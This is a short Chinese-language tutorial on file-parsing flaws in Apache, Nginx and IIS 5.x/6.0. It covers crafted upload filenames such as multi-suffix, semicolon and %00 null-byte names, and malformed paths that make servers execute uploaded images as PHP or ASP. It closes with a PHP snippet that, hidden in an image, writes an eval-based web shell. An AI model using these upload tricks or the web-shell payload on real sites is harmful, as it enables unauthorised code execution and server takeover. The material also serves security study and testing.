文件解析漏洞
apache
apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。
如payload.php.owf.rar解析成 payload.php
利用方法:可以尝试上传一个 payload.php.rara.jpg.png…(把你知道的后缀都写上去)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。
nginx
畸形解析
nginx会将路由的最后一个文件类型保存,如果该文件不存在,则会带着文件类型向前解析
如当abc.php不存在时,phpinfo.jpg/abc.php解析成phpinfo.php,但本质上是将phpinfo.jpg当作abc.php
%00空字节代码解析
原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
如/file.jpg \0.php(文件名后面跟一个空格)Nginx会认为文件“file.jpg”的后缀为“.php”
IIS
目录解析
在 IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、.asa、.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。
文件名解析
在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。
畸形解析
在图片中写入以下代码
<?php fputs(fopen('shell.php', 'w'), '<?php @eval($POST[x])?>')?>
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。即在/upload目录下创建一句话木马shell.php